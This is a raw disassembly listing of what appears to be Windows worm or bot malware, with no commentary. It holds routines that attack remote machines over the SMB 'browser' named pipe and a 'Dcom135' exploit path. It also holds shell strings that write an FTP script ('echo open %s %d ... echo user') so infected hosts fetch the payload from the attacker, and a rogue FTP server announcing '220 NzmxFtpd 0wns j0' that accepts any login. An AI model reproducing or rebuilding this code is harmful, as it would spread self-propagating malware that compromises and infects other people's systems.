0FFh db 75h ; u db 8 db 0E8h ; Х db 24h ; $ db 3Eh ; > db 1 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; ш db 85h ; ┘ db 0C0h ; ю db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ╬ db 0 db 20h db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 68h ; h db 28h ; ( db 86h ; ├ db 42h ; B db 0 db 56h ; V db 50h ; P db 0E8h ; Х db 9Ch ; ° db 2Eh ; . db 1 db 0 db 6Ah ; j db 20h db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; Х db 93h ; ⌠ db 29h ; ) db 1 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 83h ; ┐ db 0C4h ; д db 1Ch db 89h ; ┴ db 85h ; ┘ db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ╦ db 0DCh ; э db 6Eh ; n db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; Х db 80h ; ─ db 0E0h ; Ю db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_4049C7 ; --------------------------------------------------------------------------- db 0BEh ; ╬ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_4049C7: ; CODE XREF: ___:004049C0j push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 26508D5h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_404A0B loc_404A04: ; CODE XREF: ___:00404AE3j ; ___:00404CB9j ... xor al, al jmp loc_404E4F ; --------------------------------------------------------------------------- loc_404A0B: ; CODE XREF: ___:00404A02j push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_417330 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_428C34 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_417390 push 10h lea eax, [ebp-84h] push offset dword_428C20 push eax mov dword ptr [ebp-88h], 3 call sub_417390 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2640000h test eax, eax jnz short loc_404AE8 loc_404ADA: ; CODE XREF: ___:00404BB4j push dword ptr [ebp-4] nop call near ptr 26318FCh jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404AE8: ; CODE XREF: ___:00404AD8j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 26310C3h push ebx call sub_4186B1 push eax call sub_417302 push 14h lea eax, [ebp-70h] push 41h push eax call sub_417330 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_417330 add esp, 20h call sub_41730C mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_428BC8[esi], bl jz short loc_404B5F push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_436F00 jmp short loc_404B72 ; --------------------------------------------------------------------------- loc_404B5F: ; CODE XREF: ___:00404B4Bj push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_428C17+1) loc_404B72: ; CODE XREF: ___:00404B5Dj lea eax, [ebp-20h] push eax call sub_417390 add esp, 0Ch call sub_41730C mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41730C cdq idiv edi mov eax, dword_428BBC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_417B89 mov edi, eax pop ecx cmp edi, ebx jz loc_404ADA mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_417330 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_417330 mov eax, dword_428BC4[esi] push 7 add eax, edi push offset dword_428BB0 push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_428A50 push eax call sub_417390 mov eax, dword_428BC0[esi] add esp, 30h cmp byte_428BC8[esi], bl mov [ebp+0Ch], eax jz short loc_404C6B push 4 add eax, edi push offset dword_436EF8 push eax call sub_417390 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_428BE0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_417390 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_417390 add esp, 30h jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C6B: ; CODE XREF: ___:00404C1Cj add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_428BE0 loc_404C7C: ; CODE XREF: ___:00404C91j push 4 push esi push dword ptr [ebp+0Ch] call sub_417390 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_404C7C loc_404C93: ; CODE XREF: ___:00404C69j mov eax, [ebp+8] add eax, 42h push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_404CBE push dword ptr [ebp-4] nop call near ptr 26318FCh push edi call sub_417C3B pop ecx jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404CBE: ; CODE XREF: ___:00404CA7j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_417330 lea eax, [ebp-70h] push 14h push eax push esi call sub_417390 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_424294 fstp qword ptr [esp] call sub_417DEB call sub_417DC4 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_417390 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_404D2B loc_404D23: ; CODE XREF: ___:00404D26j inc eax test al, 3 jnz short loc_404D23 mov [ebp+0Ch], eax loc_404D2B: ; CODE XREF: ___:00404D21j lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_417390 add dword ptr [ebp+0Ch], 1Ch push edi call sub_417C3B push 18h lea eax, [ebp-48h] push ebx push eax call sub_417330 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_417330 add esp, 28h push ebx push ebx push 1 push ebx call near ptr 2650C45h nop mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_404D98: ; CODE XREF: ___:00404E22j cmp dword ptr [ebp-0Ch], 2 jge loc_404E2D push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_404861 add esp, 2Ch test al, al jz short loc_404E2A cmp [ebp-4Ch], ebx jz short loc_404E1C lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 26310C3h test eax, eax jnz short loc_404E03 nop call near ptr 2650C0Ah cmp eax, 3E5h jnz loc_404A04 loc_404E03: ; CODE XREF: ___:00404DF0j push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2650B6Eh cmp eax, 102h jnz short loc_404E1C mov byte ptr [ebp+0Bh], 1 loc_404E1C: ; CODE XREF: ___:00404DCFj ; ___:00404E16j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_404D98 jmp short loc_404E2D ; --------------------------------------------------------------------------- loc_404E2A: ; CODE XREF: ___:00404DCAj mov esi, [ebp-8] loc_404E2D: ; CODE XREF: ___:00404D9Cj ; ___:00404E28j push dword ptr [ebp-4] mov edi, dword_424078 call edi push esi call sub_417C3B cmp [ebp-4Ch], ebx pop ecx jz short loc_404E49 push dword ptr [ebp-4Ch] call edi loc_404E49: ; CODE XREF: ___:00404E42j cmp [ebp+0Bh], bl setnz al loc_404E4F: ; CODE XREF: ___:00404A06j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 81h ; │ db 0ECh ; Л db 0A0h ; ═ db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; Ж db 6Ah ; j db 10h db 8Dh ; █ db 45h ; E db 0F0h ; П db 56h ; V db 50h ; P db 0E8h ; Х db 0C2h ; б db 24h ; $ db 1 db 0 db 83h ; ┐ db 0C4h ; д db 0Ch db 8Dh ; █ db 45h ; E db 0Ch db 66h ; f db 0C7h ; г db 45h ; E db 0F0h ; П db 2 db 0 db 50h ; P db 90h ; ░ db 0E8h ; Х db 77h ; w db 0C4h ; д db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; ╣ db 0C4h ; д db 0 db 0 db 0 db 89h ; ┴ db 45h ; E db 0F4h ; Т db 90h ; ░ db 0E8h ; Х db 0B6h ; ╤ db 0C8h ; х db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ┴ db 45h ; E db 0F2h ; Р db 90h ; ░ db 0E8h ; Х db 83h ; ┐ db 0EDh ; М db 6Ah ; j db 71h ; q db 8Bh ; ▀ db 0D8h ; ь db 83h ; ┐ db 0FBh ; Ш db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; █ db 45h ; E db 0F0h ; П db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 0AAh ; ╙ db 0EFh ; О db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; © db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ▀ db 35h ; 5 db 4 db 42h ; B db 42h ; B db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 0B8h ; ╦ db 74h ; t db 0F6h ; Ж db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0Ch db 6Fh ; o db 43h ; C db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0FCh ; Э db 5Fh ; _ db 0 db 0 db 59h ; Y db 50h ; P db 68h ; h db 0DCh ; э db 89h ; ┴ db 42h ; B db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 68h ; h db 90h ; ░ db 1 db 0 db 0 db 50h ; P db 0E8h ; Х db 2Eh ; . db 29h ; ) db 1 db 0 db 83h ; ┐ db 0C4h ; д db 1Ch db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; Х db 0A3h ; ё db 2Bh ; + db 1 db 0 db 59h ; Y db 50h ; P db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 50h ; P db 53h ; S db 0E8h ; Х db 0D8h ; ь db 0CBh ; к db 6Ah ; j db 71h ; q db 90h ; ░ db 83h ; ┐ db 0F8h ; Ь db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; ю db 0EBh ; К db 17h db 6Ah ; j db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 53h ; S db 90h ; ░ db 0E8h ; Х db 33h ; 3 db 0CBh ; к db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; и db 0C3h ; ц dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h dd 90000007h, 21B077E8h, 0FB834302h, 33B87202h, 5B5E5FC0h dd 58016AC3h db 0EBh, 0F7h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F9A proc near ; CODE XREF: ___:00405119p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_405068 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_405068 mov edi, 400h push esi mov esi, dword_424204 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42F674 push eax push eax push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40506C loc_405068: ; CODE XREF: sub_404F9A+50j ; sub_404F9A+62j xor eax, eax jmp short loc_405083 ; --------------------------------------------------------------------------- loc_40506C: ; CODE XREF: sub_404F9A+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_405083: ; CODE XREF: sub_404F9A+D0j pop edi pop esi pop ebx leave retn sub_404F9A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call dword_43ADD8 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_43AD98 push 6 push 1 push 2 mov [ebp-0Eh], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4050FA lea eax, [ebp-10h] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_4050DB push esi jmp short loc_4050F4 ; --------------------------------------------------------------------------- loc_4050DB: ; CODE XREF: ___:004050D6j push 0 push 1213h push offset dword_428C60 push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_4050FE loc_4050F4: ; CODE XREF: ___:004050D9j nop call near ptr 71AB1A6Dh loc_4050FA: ; CODE XREF: ___:004050C4j xor eax, eax jmp short loc_405140 ; --------------------------------------------------------------------------- loc_4050FE: ; CODE XREF: ___:004050F2j nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404F9A add esp, 0C0h test eax, eax jz short loc_40513D mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_40513D: ; CODE XREF: ___:00405126j push 1 pop eax loc_405140: ; CODE XREF: ___:004050FCj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405144 proc near ; CODE XREF: ___:00405340p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43ADD8 mov [ebp+var_C], eax mov ax, word_42A040 push eax call dword_43AD98 push edi push 1 push 2 mov [ebp+var_E], ax call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40525B lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_40525B mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43ADB0 push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_40525B push 1F4h call near ptr 2620000h nop push offset byte_42F674 push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_40525F loc_40525B: ; CODE XREF: sub_405144+51j ; sub_405144+67j ... xor al, al jmp short loc_405279 ; --------------------------------------------------------------------------- loc_40525F: ; CODE XREF: sub_405144+115j push 0 lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43ADB0 push esi call dword_43AE30 mov al, 1 loc_405279: ; CODE XREF: sub_405144+119j pop edi pop esi pop ebx leave retn sub_405144 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax nop call near ptr 71AB2BBFh mov esi, eax test esi, esi jnz short loc_4052A8 lea eax, [ebp+0Ch] push eax call near ptr 71AB12F8h nop mov ebx, eax jmp short loc_4052AE ; --------------------------------------------------------------------------- loc_4052A8: ; CODE XREF: ___:00405298j mov ebx, [ebp+0C0h] loc_4052AE: ; CODE XREF: ___:004052A6j push 11h push 2 push 2 call near ptr 71AB3C22h nop test esi, esi mov edi, eax jz short loc_4052D8 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_417390 add esp, 0Ch jmp short loc_4052DB ; --------------------------------------------------------------------------- loc_4052D8: ; CODE XREF: ___:004052BEj mov [ebp-0Ch], ebx loc_4052DB: ; CODE XREF: ___:004052D6j test esi, esi jz short loc_4052E9 mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_4052EF ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: ___:004052DDj mov word ptr [ebp-10h], 2 loc_4052EF: ; CODE XREF: ___:004052E7j push 599h nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi nop call near ptr 71AB3E5Dh test eax, eax jnz loc_4053BE push eax push 1C9h push offset loc_429E74 push edi call near ptr 71AB1AF4h nop push 3E8h nop call near ptr 2620000h sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_405144 add esp, 0BCh test al, al jz short loc_405354 push 1 pop eax jmp short loc_4053D0 ; --------------------------------------------------------------------------- loc_405354: ; CODE XREF: ___:0040534Dj lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset unk_42A0B0 lea eax, [ebp-210h] push 200h push eax call sub_41782A push 0 lea eax, [ebp-210h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40D679 lea eax, [ebp-210h] push eax call sub_40BF6D mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] jmp short loc_4053CE ; --------------------------------------------------------------------------- loc_4053BE: ; CODE XREF: ___:0040530Dj push 1 push edi nop call near ptr 71AB8629h push edi nop call near ptr 71AB1A6Dh loc_4053CE: ; CODE XREF: ___:004053BCj xor eax, eax loc_4053D0: ; CODE XREF: ___:00405352j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053D5 proc near ; DATA XREF: sub_407252+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi nop call near ptr 71AB41DAh push edi call sub_4186B1 push eax call sub_417302 push 0FEB0h push 406h call sub_415450 add esp, 10h mov dword_436F0C, eax push edi push ebx push 2 call near ptr 71AB3C22h nop mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call near ptr 71AB3F8Dh nop lea eax, [ebp+var_18] push eax push 8004667Eh push esi nop call near ptr 71AB155Ah mov ax, word ptr dword_436F0C mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call near ptr 71AB1746h nop mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call near ptr 71AB3ECEh nop test eax, eax jge short loc_4054AA mov eax, ebx jmp loc_4059D4 ; --------------------------------------------------------------------------- loc_4054AA: ; CODE XREF: sub_4053D5+CCj push 0Ah push esi nop call near ptr 71AB5DE2h mov [ebp+var_228], ebx mov ebx, dword_424208 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4054C8: ; CODE XREF: sub_4053D5+12Cj ; sub_4053D5+5F7j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax nop call near ptr 71AB1890h cmp eax, 0FFFFFFFFh jz loc_4059D1 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4054C8 loc_405503: ; CODE XREF: sub_4053D5+5F1j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_417330 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_422A46 ; --------------------------------------------------------------------------- db 85h dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh, 10DC45h dd 8D500000h, 0FFFDC885h, 75FF50FFh, 3133E8F4h, 8390716Bh dd 840FFFF8h, 45Bh, 0B539C933h, 0FFFFFDD8h, 958D1676h dd 0FFFFFDDCh ; --------------------------------------------------------------------------- loc_405574: ; CODE XREF: sub_4053D5+1ADj cmp [edx], eax jz short loc_405584 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_405574 loc_405584: ; CODE XREF: sub_4053D5+1A1j cmp ecx, [ebp+var_228] jnz short loc_4055A2 cmp [ebp+var_228], 40h jnb short loc_4055A2 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4055A2: ; CODE XREF: sub_4053D5+1B5j ; sub_4053D5+1BEj cmp eax, [ebp+var_4] jle short loc_4055AA mov [ebp+var_4], eax loc_4055AA: ; CODE XREF: sub_4053D5+1D0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4059BF ; --------------------------------------------------------------------------- dw 8D56h ; --------------------------------------------------------------------------- test [ebp+edi*8+var_4+3], esp jmp fword ptr [edx+64h] ; --------------------------------------------------------------------------- db 50h dd 0C6E857h, 8590716Bh, 8B527FC0h, 0FFFDD895h, 3BC933FFh dd 8D3A76D6h, 0FFFDDC85h db 0FFh ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_4053D5+216j cmp [eax], edi jz short loc_4055EF inc ecx add eax, 4 cmp ecx, edx jb short loc_4055E1 jmp short loc_405615 ; --------------------------------------------------------------------------- loc_4055EF: ; CODE XREF: sub_4053D5+20Ej dec edx cmp ecx, edx jnb short loc_40560F lea eax, [ebp+ecx*4+var_224] loc_4055FB: ; CODE XREF: sub_4053D5+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_4055FB loc_40560F: ; CODE XREF: sub_4053D5+21Dj dec [ebp+var_228] loc_405615: ; CODE XREF: sub_4053D5+218j push edi call near ptr 71AB1A6Dh nop jmp loc_4059BF ; --------------------------------------------------------------------------- lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS_1 ; "%s %s" push eax call sub_418A52 lea eax, [ebp+var_AC] push offset aUser_1 ; "USER" push eax call sub_4176D0 add esp, 18h test eax, eax jnz short loc_405665 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405665: ; CODE XREF: sub_4053D5+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405689 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405689: ; CODE XREF: sub_4053D5+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056AD push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056AD: ; CODE XREF: sub_4053D5+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056D1 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056D1: ; CODE XREF: sub_4053D5+2EDj lea eax, [ebp+var_AC] push offset off_42A2D0 push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056F5 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056F5: ; CODE XREF: sub_4053D5+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405730: ; CODE XREF: sub_4053D5+335j ; sub_4053D5+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_40576B: ; CODE XREF: sub_4053D5+370j ; sub_4053D5+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_4176D0 pop ecx test eax, eax pop ecx 